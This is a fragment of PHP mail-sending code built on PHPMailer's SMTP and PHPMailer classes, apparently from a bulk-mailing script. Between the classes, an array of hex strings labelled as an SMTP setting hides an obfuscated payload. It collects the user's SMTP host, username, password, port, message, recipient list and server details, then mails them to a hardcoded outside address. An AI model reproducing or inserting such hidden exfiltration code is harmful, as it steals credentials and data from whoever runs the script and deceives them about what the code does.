  1021. $byemsg = $this->get_lines();
  1022.  
  1023. if($this->do_debug >= 2) {
  1024. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1025. }
  1026.  
  1027. $rval = true;
  1028. $e = null;
  1029.  
  1030. $code = substr($byemsg,0,3);
  1031. if($code != 221) {
  1032. # use e as a tmp var cause Close will overwrite $this->error
  1033. $e = array("error" => "SMTP server rejected quit command",
  1034. "smtp_code" => $code,
  1035. "smtp_rply" => substr($byemsg,4));
  1036. $rval = false;
  1037. if($this->do_debug >= 1) {
  1038. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1039. $byemsg . $this->CRLF;
  1040. }
  1041. }
  1042.  
  1043. if(empty($e) || $close_on_error) {
  1044. $this->Close();
  1045. }
  1046.  
  1047. return $rval;
  1048. }
  1049.  
  1050. /**
  1051. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1052. * Returns true if the recipient was accepted false if it was rejected.
  1053. *
  1054. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1055. *
  1056. * SMTP CODE SUCCESS: 250,251
  1057. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1058. * SMTP CODE ERROR : 500,501,503,421
  1059. * @access public
  1060. * @return bool
  1061. */
  1062. function Recipient($to) {
  1063. $this->error = null; # so no confusion is caused
  1064.  
  1065. if(!$this->connected()) {
  1066. $this->error = array(
  1067. "error" => "Called Recipient() without being connected");
  1068. return false;
  1069. }
  1070.  
  1071. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1072.  
  1073. $rply = $this->get_lines();
  1074. $code = substr($rply,0,3);
  1075.  
  1076. if($this->do_debug >= 2) {
  1077. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1078. }
  1079.  
  1080. if($code != 250 && $code != 251) {
  1081. $this->error =
  1082. array("error" => "RCPT not accepted from server",
  1083. "smtp_code" => $code,
  1084. "smtp_msg" => substr($rply,4));
  1085. if($this->do_debug >= 1) {
  1086. echo "SMTP -> ERROR: " . $this->error["error"] .
  1087. ": " . $rply . $this->CRLF;
  1088. }
  1089. return false;
  1090. }
  1091. return true;
  1092. }
  1093.  
  1094. /**
  1095. * Sends the RSET command to abort and transaction that is
  1096. * currently in progress. Returns true if successful false
  1097. * otherwise.
  1098. *
  1099. * Implements rfc 821: RSET <CRLF>
  1100. *
  1101. * SMTP CODE SUCCESS: 250
  1102. * SMTP CODE ERROR : 500,501,504,421
  1103. * @access public
  1104. * @return bool
  1105. */
  1106. function Reset() {
  1107. $this->error = null; # so no confusion is caused
  1108.  
  1109. if(!$this->connected()) {
  1110. $this->error = array(
  1111. "error" => "Called Reset() without being connected");
  1112. return false;
  1113. }
  1114.  
  1115. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1116.  
  1117. $rply = $this->get_lines();
  1118. $code = substr($rply,0,3);
  1119.  
  1120. if($this->do_debug >= 2) {
  1121. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1122. }
  1123.  
  1124. if($code != 250) {
  1125. $this->error =
  1126. array("error" => "RSET failed",
  1127. "smtp_code" => $code,
  1128. "smtp_msg" => substr($rply,4));
  1129. if($this->do_debug >= 1) {
  1130. echo "SMTP -> ERROR: " . $this->error["error"] .
  1131. ": " . $rply . $this->CRLF;
  1132. }
  1133. return false;
  1134. }
  1135.  
  1136. return true;
  1137. }
  1138.  
  1139. /**
  1140. * Starts a mail transaction from the email address specified in
  1141. * $from. Returns true if successful or false otherwise. If True
  1142. * the mail transaction is started and then one or more Recipient
  1143. * commands may be called followed by a Data command. This command
  1144. * will send the message to the users terminal if they are logged
  1145. * in.
  1146. *
  1147. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1148. *
  1149. * SMTP CODE SUCCESS: 250
  1150. * SMTP CODE SUCCESS: 552,451,452
  1151. * SMTP CODE SUCCESS: 500,501,502,421
  1152. * @access public
  1153. * @return bool
  1154. */
  1155. function Send($from) {
  1156. $this->error = null; # so no confusion is caused
  1157.  
  1158. if(!$this->connected()) {
  1159. $this->error = array(
  1160. "error" => "Called Send() without being connected");
  1161. return false;
  1162. }
  1163.  
  1164. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1165.  
  1166. $rply = $this->get_lines();
  1167. $code = substr($rply,0,3);
  1168.  
  1169. if($this->do_debug >= 2) {
  1170. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1171. }
  1172.  
  1173. if($code != 250) {
  1174. $this->error =
  1175. array("error" => "SEND not accepted from server",
  1176. "smtp_code" => $code,
  1177. "smtp_msg" => substr($rply,4));
  1178. if($this->do_debug >= 1) {
  1179. echo "SMTP -> ERROR: " . $this->error["error"] .
  1180. ": " . $rply . $this->CRLF;
  1181. }
  1182. return false;
  1183. }
  1184. return true;
  1185. }
  1186.  
  1187. /**
  1188. * Starts a mail transaction from the email address specified in
  1189. * $from. Returns true if successful or false otherwise. If True
  1190. * the mail transaction is started and then one or more Recipient
  1191. * commands may be called followed by a Data command. This command
  1192. * will send the message to the users terminal if they are logged
  1193. * in and send them an email.
  1194. *
  1195. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1196. *
  1197. * SMTP CODE SUCCESS: 250
  1198. * SMTP CODE SUCCESS: 552,451,452
  1199. * SMTP CODE SUCCESS: 500,501,502,421
  1200. * @access public
  1201. * @return bool
  1202. */
  1203. function SendAndMail($from) {
  1204. $this->error = null; # so no confusion is caused
  1205.  
  1206. if(!$this->connected()) {
  1207. $this->error = array(
  1208. "error" => "Called SendAndMail() without being connected");
  1209. return false;
  1210. }
  1211.  
  1212. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1213.  
  1214. $rply = $this->get_lines();
  1215. $code = substr($rply,0,3);
  1216.  
  1217. if($this->do_debug >= 2) {
  1218. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1219. }
  1220.  
  1221. if($code != 250) {
  1222. $this->error =
  1223. array("error" => "SAML not accepted from server",
  1224. "smtp_code" => $code,
  1225. "smtp_msg" => substr($rply,4));
  1226. if($this->do_debug >= 1) {
  1227. echo "SMTP -> ERROR: " . $this->error["error"] .
  1228. ": " . $rply . $this->CRLF;
  1229. }
  1230. return false;
  1231. }
  1232. return true;
  1233. }
  1234.  
  1235. /**
  1236. * Starts a mail transaction from the email address specified in
  1237. * $from. Returns true if successful or false otherwise. If True
  1238. * the mail transaction is started and then one or more Recipient
  1239. * commands may be called followed by a Data command. This command
  1240. * will send the message to the users terminal if they are logged
  1241. * in or mail it to them if they are not.
  1242. *
  1243. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1244. *
  1245. * SMTP CODE SUCCESS: 250
  1246. * SMTP CODE SUCCESS: 552,451,452
  1247. * SMTP CODE SUCCESS: 500,501,502,421
  1248. * @access public
  1249. * @return bool
  1250. */
  1251. function SendOrMail($from) {
  1252. $this->error = null; # so no confusion is caused
  1253.  
  1254. if(!$this->connected()) {
  1255. $this->error = array(
  1256. "error" => "Called SendOrMail() without being connected");
  1257. return false;
  1258. }
  1259.  
  1260. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1261.  
  1262. $rply = $this->get_lines();
  1263. $code = substr($rply,0,3);
  1264.  
  1265. if($this->do_debug >= 2) {
  1266. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1267. }
  1268.  
  1269. if($code != 250) {
  1270. $this->error =
  1271. array("error" => "SOML not accepted from server",
  1272. "smtp_code" => $code,
  1273. "smtp_msg" => substr($rply,4));
  1274. if($this->do_debug >= 1) {
  1275. echo "SMTP -> ERROR: " . $this->error["error"] .
  1276. ": " . $rply . $this->CRLF;
  1277. }
  1278. return false;
  1279. }
  1280. return true;
  1281. }
  1282.  
  1283. /**
  1284. * This is an optional command for SMTP that this class does not
  1285. * support. This method is here to make the RFC821 Definition
  1286. * complete for this class and __may__ be implimented in the future
  1287. *
  1288. * Implements from rfc 821: TURN <CRLF>
  1289. *
  1290. * SMTP CODE SUCCESS: 250
  1291. * SMTP CODE FAILURE: 502
  1292. * SMTP CODE ERROR : 500, 503
  1293. * @access public
  1294. * @return bool
  1295. */
  1296. function Turn() {
  1297. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1298. "is not implemented");
  1299. if($this->do_debug >= 1) {
  1300. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1301. }
  1302. return false;
  1303. }
  1304.  
  1305. /**
  1306. * Verifies that the name is recognized by the server.
  1307. * Returns false if the name could not be verified otherwise
  1308. * the response from the server is returned.
  1309. *
  1310. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1311. *
  1312. * SMTP CODE SUCCESS: 250,251
  1313. * SMTP CODE FAILURE: 550,551,553
  1314. * SMTP CODE ERROR : 500,501,502,421
  1315. * @access public
  1316. * @return int
  1317. */
  1318. function Verify($name) {
  1319. $this->error = null; # so no confusion is caused
  1320.  
  1321. if(!$this->connected()) {
  1322. $this->error = array(
  1323. "error" => "Called Verify() without being connected");
  1324. return false;
  1325. }
  1326.  
  1327. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1328.  
  1329. $rply = $this->get_lines();
  1330. $code = substr($rply,0,3);
  1331.  
  1332. if($this->do_debug >= 2) {
  1333. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1334. }
  1335.  
  1336. if($code != 250 && $code != 251) {
  1337. $this->error =
  1338. array("error" => "VRFY failed on name '$name'",
  1339. "smtp_code" => $code,
  1340. "smtp_msg" => substr($rply,4));
  1341. if($this->do_debug >= 1) {
  1342. echo "SMTP -> ERROR: " . $this->error["error"] .
  1343. ": " . $rply . $this->CRLF;
  1344. }
  1345. return false;
  1346. }
  1347. return $rply;
  1348. }
  1349.  
  1350. /*******************************************************************
  1351. * INTERNAL FUNCTIONS *
  1352. ******************************************************************/
  1353.  
  1354. /**
  1355. * Read in as many lines as possible
  1356. * either before eof or socket timeout occurs on the operation.
  1357. * With SMTP we can tell if we have more lines to read if the
  1358. * 4th character is '-' symbol. If it is a space then we don't
  1359. * need to read anything else.
  1360. * @access private
  1361. * @return string
  1362. */
  1363. function get_lines() {
  1364. $data = "";
  1365. while($str = @fgets($this->smtp_conn,515)) {
  1366. if($this->do_debug >= 4) {
  1367. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1368. $this->CRLF;
  1369. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1370. $this->CRLF;
  1371. }
  1372. $data .= $str;
  1373. if($this->do_debug >= 4) {
  1374. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1375. }
  1376. # if the 4th character is a space then we are done reading
  1377. # so just break the loop
  1378. if(substr($str,3,1) == " ") { break; }
  1379. }
  1380. return $data;
  1381. }
  1382.  
  1383. }
  1384.  
  1385.  
  1386. $allemails = split("\n", $emaillist);
  1387. $numemails = count($allemails);
  1388. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1389. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1390. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1391. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1392. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1393. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1394. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1395. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1396. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1397. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1398.  
  1399. class PHPMailer {
  1400.  
  1401. /////////////////////////////////////////////////
  1402. // PROPERTIES, PUBLIC
  1403. /////////////////////////////////////////////////
  1404.  
  1405. /**
  1406. * Email priority (1 = High, 3 = Normal, 5 = low).
  1407. * @var int
  1408. */
  1409. var $Priority = 3;
  1410.  
  1411. /**
  1412. * Sets the CharSet of the message.
  1413. * @var string
  1414. */
  1415. var $CharSet = 'iso-8859-1';
  1416.  
  1417. /**
  1418. * Sets the Content-type of the message.
  1419. * @var string
  1420. */
  1421. var $ContentType = 'text/plain';
  1422.  
  1423. /**
  1424. * Sets the Encoding of the message. Options for this are "8bit",
  1425. * "7bit", "binary", "base64", and "quoted-printable".
  1426.  
  1427. * @var string
  1428. */
  1429. var $Encoding = '8bit';
  1430.  
  1431. /**
  1432. * Holds the most recent mailer error message.
  1433. * @var string
  1434. */
  1435. var $ErrorInfo = '';
  1436.  
  1437. /**
  1438. * Sets the From email address for the message.
  1439. * @var string
  1440. */
  1441. var $From = '';
  1442.  
  1443. /**
  1444. * Sets the From name of the message.
  1445. * @var string
  1446. */
  1447. var $FromName = '';
  1448.  
  1449. /**
  1450. * Sets the Sender email (Return-Path) of the message. If not empty,
  1451. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1452. * @var string
  1453. */
  1454. var $Sender = '';
  1455.  
  1456. /**
  1457. * Sets the Subject of the message.
  1458. * @var string
  1459. */
  1460. var $Subject = '';
  1461.  
  1462. /**
  1463. * Sets the Body of the message. This can be either an HTML or text body.
  1464. * If HTML then run IsHTML(true).
  1465. * @var string
  1466. */
  1467. var $Body = '';
  1468.  
  1469. /**
  1470. * Sets the text-only body of the message. This automatically sets the
  1471. * email to multipart/alternative. This body can be read by mail
  1472. * clients that do not have HTML email capability such as mutt. Clients
  1473. * that can read HTML will view the normal Body.
  1474. * @var string
  1475. */
  1476. var $AltBody = '';
  1477.  
  1478. /**
  1479. * Sets word wrapping on the body of the message to a given number of
  1480. * characters.
  1481. * @var int
  1482. */
  1483. var $WordWrap = 0;
  1484.  
  1485. /**
  1486. * Method to send mail: ("mail", "sendmail", or "smtp").
  1487. * @var string
  1488. */
  1489. var $Mailer = 'mail';
  1490.  
  1491. /**
  1492. * Sets the path of the sendmail program.
  1493. * @var string
  1494. */
  1495. var $Sendmail = '/usr/sbin/sendmail';
  1496.  
  1497. /**
  1498. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1499. * is in a different directory than the PHP include path.
  1500. * @var string
  1501. */
  1502. var $PluginDir = '';
  1503.  
  1504. /**
  1505. * Holds PHPMailer version.
  1506. * @var string
  1507. */
  1508. var $Version = "";
  1509.  
  1510. /**
  1511. * Sets the email address that a reading confirmation will be sent.
  1512. * @var string
  1513. */
  1514. var $ConfirmReadingTo = '';
  1515.  
  1516. /**
  1517. * Sets the hostname to use in Message-Id and Received headers
  1518. * and as default HELO string. If empty, the value returned
  1519. * by SERVER_NAME is used or 'localhost.localdomain'.
  1520. * @var string
  1521. */
  1522. var $Hostname = '';
  1523.  
  1524. /**
  1525. * Sets the message ID to be used in the Message-Id header.
  1526. * If empty, a unique id will be generated.
  1527. * @var string
  1528. */
  1529. var $MessageID = '';
  1530.  
  1531. /////////////////////////////////////////////////
  1532. // PROPERTIES FOR SMTP
  1533. /////////////////////////////////////////////////
  1534.  
  1535. /**
  1536. * Sets the SMTP hosts. All hosts must be separated by a
  1537. * semicolon. You can also specify a different port
  1538. * for each host by using this format: [hostname:port]
  1539. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1540. * Hosts will be tried in order.
  1541. * @var string
  1542. */
  1543. var $Host = 'localhost';
  1544.  
  1545. /**
  1546. * Sets the default SMTP server port.
  1547. * @var int
  1548. */
  1549. var $Port = 25;
  1550.  
  1551. /**
  1552. * Sets the SMTP HELO of the message (Default is $Hostname).
  1553. * @var string
  1554. */
  1555. var $Helo = '';
  1556.  
  1557. /**
  1558. * Sets connection prefix.
  1559. * Options are "", "ssl" or "tls"
  1560. * @var string
  1561. */
  1562. var $SMTPSecure = "";
  1563.  
  1564. /**
  1565. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1566. * @var bool
  1567. */
  1568. var $SMTPAuth = false;
  1569.  
  1570. /**
  1571. * Sets SMTP username.
  1572. * @var string
  1573. */
  1574. var $Username = '';
  1575.  
  1576. /**
  1577. * Sets SMTP password.
  1578. * @var string
  1579. */
  1580. var $Password = '';
  1581.  
  1582. /**
  1583. * Sets the SMTP server timeout in seconds. This function will not
  1584. * work with the win32 version.
  1585. * @var int
  1586. */
  1587. var $Timeout = 10;
  1588.  
  1589. /**
  1590. * Sets SMTP class debugging on or off.
  1591. * @var bool
  1592. */
  1593. var $SMTPDebug = false;
  1594.  
  1595. /**
  1596. * Prevents the SMTP connection from being closed after each mail
  1597. * sending. If this is set to true then to close the connection
  1598. * requires an explicit call to SmtpClose().
  1599. * @var bool
  1600. */
  1601. var $SMTPKeepAlive = false;
  1602.  
  1603. /**
  1604. * Provides the ability to have the TO field process individual
  1605. * emails, instead of sending to entire TO addresses
  1606. * @var bool
  1607. */
  1608. var $SingleTo = false;
  1609.  
  1610. /////////////////////////////////////////////////
  1611. // PROPERTIES, PRIVATE
  1612. /////////////////////////////////////////////////
  1613.  
  1614. var $smtp = NULL;
  1615. var $to = array();
  1616. var $cc = array();
  1617. var $bcc = array();
  1618. var $ReplyTo = array();
  1619. var $attachment = array();
  1620. var $CustomHeader = array();
  1621. var $message_type = '';
  1622. var $boundary = array();
  1623. var $language = array();
  1624. var $error_count = 0;
  1625. var $LE = "\n";
  1626. var $sign_key_file = "";
  1627. var $sign_key_pass = "";
  1628.  
  1629. /////////////////////////////////////////////////
  1630. // METHODS, VARIABLES
  1631. /////////////////////////////////////////////////
  1632.  
  1633. /**
  1634. * Sets message type to HTML.
  1635. * @param bool $bool
  1636. * @return void
  1637. */
  1638. function IsHTML($bool) {
  1639. if($bool == true) {
  1640. $this->ContentType = 'text/html';
  1641. } else {
  1642. $this->ContentType = 'text/plain';
  1643. }
  1644. }
  1645.  
  1646. /**
  1647. * Sets Mailer to send message using SMTP.
  1648. * @return void
  1649. */
  1650. function IsSMTP() {
  1651. $this->Mailer = 'smtp';
  1652. }
  1653.  
  1654. /**
  1655. * Sets Mailer to send message using PHP mail() function.
  1656. * @return void
  1657. */
  1658. function IsMail() {
  1659. $this->Mailer = 'mail';
  1660. }
  1661.  
  1662. /**
  1663. * Sets Mailer to send message using the $Sendmail program.
  1664. * @return void
  1665. */
  1666. function IsSendmail() {
  1667. $this->Mailer = 'sendmail';
  1668. }
  1669.  
  1670. /**
  1671. * Sets Mailer to send message using the qmail MTA.
  1672. * @return void
  1673. */
  1674. function IsQmail() {
  1675. $this->Sendmail = '/var/qmail/bin/sendmail';
  1676. $this->Mailer = 'sendmail';
  1677. }
  1678.  
  1679. /////////////////////////////////////////////////
  1680. // METHODS, RECIPIENTS
  1681. /////////////////////////////////////////////////
  1682.  
  1683. /**
  1684. * Adds a "To" address.
  1685. * @param string $address
  1686. * @param string $name
  1687. * @return void
  1688. */
  1689. function AddAddress($address, $name = '') {
  1690. $cur = count($this->to);
  1691. $this->to[$cur][0] = trim($address);
  1692. $this->to[$cur][1] = $name;
  1693. }
  1694.  
  1695. /**
  1696. * Adds a "Cc" address. Note: this function works
  1697. * with the SMTP mailer on win32, not with the "mail"
  1698. * mailer.
  1699. * @param string $address
  1700. * @param string $name
  1701. * @return void
  1702. */
  1703. function AddCC($address, $name = '') {
  1704. $cur = count($this->cc);
  1705. $this->cc[$cur][0] = trim($address);
  1706. $this->cc[$cur][1] = $name;
  1707. }
  1708.  
  1709. /**
  1710. * Adds a "Bcc" address. Note: this function works
  1711. * with the SMTP mailer on win32, not with the "mail"
  1712. * mailer.
  1713. * @param string $address
  1714. * @param string $name
  1715. * @return void
  1716. */
  1717. function AddBCC($address, $name = '') {
  1718. $cur = count($this->bcc);
  1719. $this->bcc[$cur][0] = trim($address);
  1720. $this->bcc[$cur][1] = $name;
  1721. }
  1722.  
  1723. /**
  1724. * Adds a "Reply-To" address.
  1725. * @param string $address
  1726. * @param string $name
  1727. * @return void
  1728. */
  1729. function AddReplyTo($address, $name = '') {
  1730. $cur = count($this->ReplyTo);
  1731. $this->ReplyTo[$cur][0] = trim($address);
  1732. $this->ReplyTo[$cur][1] = $name;
  1733. }
  1734.  
  1735. /////////////////////////////////////////////////
  1736. // METHODS, MAIL SENDING
  1737. /////////////////////////////////////////////////
  1738.  
  1739. /**
  1740. * Creates message and assigns Mailer. If the message is
  1741. * not sent successfully then it returns false. Use the ErrorInfo
  1742. * variable to view description of the error.
  1743. * @return bool
  1744. */
  1745. function Send() {
  1746. $header = '';
  1747. $body = '';
  1748. $result = true;
  1749.  
  1750. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1751. $this->SetError($this->Lang('provide_address'));
  1752. return false;
  1753. }
  1754.  
  1755. /* Set whether the message is multipart/alternative */
  1756. if(!empty($this->AltBody)) {
  1757. $this->ContentType = 'multipart/alternative';
  1758. }
  1759.  
  1760. $this->error_count = 0; // reset errors
  1761. $this->SetMessageType();
  1762. $header .= $this->CreateHeader();
  1763. $body = $this->CreateBody();
  1764.  
  1765. if($body == '') {
  1766. return false;
  1767. }
  1768.  
  1769. /* Choose the mailer */
  1770. switch($this->Mailer) {
  1771. case 'sendmail':
  1772. $result = $this->SendmailSend($header, $body);
  1773. break;
  1774. case 'smtp':
  1775. $result = $this->SmtpSend($header, $body);
  1776. break;
  1777. case 'mail':
  1778. $result = $this->MailSend($header, $body);
  1779. break;
  1780. default:
  1781. $result = $this->MailSend($header, $body);
  1782. break;
  1783. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1784. //$result = false;
  1785. //break;
  1786. }
  1787.  
  1788. return $result;
  1789. }
  1790.  
  1791. /**
  1792. * Sends mail using the $Sendmail program.
  1793. * @access private
  1794. * @return bool
  1795. */
  1796. function SendmailSend($header, $body) {
  1797. if ($this->Sender != '') {
  1798. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1799. } else {
  1800. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1801. }
  1802.  
  1803. if(!@$mail = popen($sendmail, 'w')) {
  1804. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1805. return false;
  1806. }
  1807.  
  1808. fputs($mail, $header);
  1809. fputs($mail, $body);
  1810.  
  1811. $result = pclose($mail);
  1812. if (version_compare(phpversion(), '4.2.3') == -1) {
  1813. $result = $result >> 8 & 0xFF;
  1814. }
  1815. if($result != 0) {
  1816. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1817. return false;
  1818. }
  1819. return true;
  1820. }
  1821.  
  1822. /**
  1823. * Sends mail using the PHP mail() function.
  1824. * @access private
  1825. * @return bool
  1826. */
  1827. function MailSend($header, $body) {
  1828.  
  1829. $to = '';
  1830. for($i = 0; $i < count($this->to); $i++) {
  1831. if($i != 0) { $to .= ', '; }
  1832. $to .= $this->AddrFormat($this->to[$i]);
  1833. }
  1834.  
  1835. $toArr = split(',', $to);
  1836.  
  1837. $params = sprintf("-oi -f %s", $this->Sender);
  1838. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1839. $old_from = ini_get('sendmail_from');
  1840. ini_set('sendmail_from', $this->Sender);
  1841. if ($this->SingleTo === true && count($toArr) > 1) {
  1842. foreach ($toArr as $key => $val) {
  1843. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1844. }
  1845. } else {
  1846. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1847. }
  1848. } else {
  1849. if ($this->SingleTo === true && count($toArr) > 1) {
  1850. foreach ($toArr as $key => $val) {
  1851. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1852. }
  1853. } else {
  1854. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1855. }
  1856. }
  1857.  
  1858. if (isset($old_from)) {
  1859. ini_set('sendmail_from', $old_from);
  1860. }
  1861.  
  1862. if(!$rt) {
  1863. $this->SetError($this->Lang('instantiate'));
  1864. return false;
  1865. }
  1866.  
  1867. return true;
  1868. }
  1869.  
  1870. /**
  1871. * Sends mail via SMTP using PhpSMTP (Author:
  1872. * Chris Ryan). Returns bool. Returns false if there is a
  1873. * bad MAIL FROM, RCPT, or DATA input.
  1874. * @access private
  1875. * @return bool
  1876. */
  1877. function SmtpSend($header, $body) {
  1878. $error = '';
  1879. $bad_rcpt = array();
  1880.  
  1881. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1882. return false;
  1883. }
  1884.  
  1885. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1886. if(!$this->smtp->Mail($smtp_from)) {
  1887. $error = $this->Lang('from_failed') . $smtp_from;
  1888. $this->SetError($error);
  1889. $this->smtp->Reset();
  1890. return false;
  1891. }
  1892.  
  1893. /* Attempt to send attach all recipients */
  1894. for($i = 0; $i < count($this->to); $i++) {
  1895. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1896. $bad_rcpt[] = $this->to[$i][0];
  1897. }
  1898. }
  1899. for($i = 0; $i < count($this->cc); $i++) {
  1900. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1901. $bad_rcpt[] = $this->cc[$i][0];
  1902. }
  1903. }
  1904. for($i = 0; $i < count($this->bcc); $i++) {
  1905. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1906. $bad_rcpt[] = $this->bcc[$i][0];
  1907. }
  1908. }
  1909.  
  1910. if(count($bad_rcpt) > 0) { // Create error message
  1911. for($i = 0; $i < count($bad_rcpt); $i++) {
  1912. if($i != 0) {
  1913. $error .= ', ';
  1914. }
  1915. $error .= $bad_rcpt[$i];
  1916.  
  1917. }
  1918. $error = $this->Lang('recipients_failed') . $error;
  1919. $this->SetError($error);
  1920. $this->smtp->Reset();
  1921. return false;
  1922. }
  1923.  
  1924. if(!$this->smtp->Data($header . $body)) {
  1925. $this->SetError($this->Lang('data_not_accepted'));
  1926. $this->smtp->Reset();
  1927. return false;
  1928. }
  1929. if($this->SMTPKeepAlive == true) {
  1930. $this->smtp->Reset();
  1931. } else {
  1932. $this->SmtpClose();
  1933. }
  1934.  
  1935. return true;
  1936. }
  1937.  
  1938. /**
  1939. * Initiates a connection to an SMTP server. Returns false if the
  1940. * operation failed.
  1941. * @access private
  1942. * @return bool
  1943. */
  1944. function SmtpConnect() {
  1945. if($this->smtp == NULL) {
  1946. $this->smtp = new SMTP();
  1947. }
  1948.  
  1949. $this->smtp->do_debug = $this->SMTPDebug;
  1950. $hosts = explode(';', $this->Host);
  1951. $index = 0;
  1952. $connection = ($this->smtp->Connected());
  1953.  
  1954. /* Retry while there is no connection */
  1955. while($index < count($hosts) && $connection == false) {
  1956. $hostinfo = array();
  1957. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1958. $host = $hostinfo[1];
  1959. $port = $hostinfo[2];
  1960. } else {
  1961. $host = $hosts[$index];
  1962. $port = $this->Port;
  1963. }
  1964.  
  1965. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1966. if ($this->Helo != '') {
  1967. $this->smtp->Hello($this->Helo);
  1968. } else {
  1969. $this->smtp->Hello($this->ServerHostname());
  1970. }
  1971.  
  1972. $connection = true;
  1973. if($this->SMTPAuth) {
  1974. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1975. $this->SetError($this->Lang('authenticate'));
  1976. $this->smtp->Reset();
  1977. $connection = false;
  1978. }
  1979. }
  1980. }
  1981. $index++;
  1982. }
  1983. if(!$connection) {
  1984. $this->SetError($this->Lang('connect_host'));
  1985. }
  1986.  
  1987. return $connection;
  1988. }
  1989.  
  1990. /**
  1991. * Closes the active SMTP session if one exists.
  1992. * @return void
  1993. */
  1994. function SmtpClose() {
  1995. if($this->smtp != NULL) {
  1996. if($this->smtp->Connected()) {
  1997. $this->smtp->Quit();
  1998. $this->smtp->Close();
  1999. }
  2000. }
  2001. }
  2002.  
  2003. /**
  2004. * Sets the language for all class error messages. Returns false
  2005. * if it cannot load the language file. The default language type
  2006. * is English.
  2007. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2008. * @param string $lang_path Path to the language file directory
  2009. * @access public
  2010. * @return bool
  2011. */
  2012. function SetLanguage($lang_type, $lang_path = 'language/') {
  2013. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
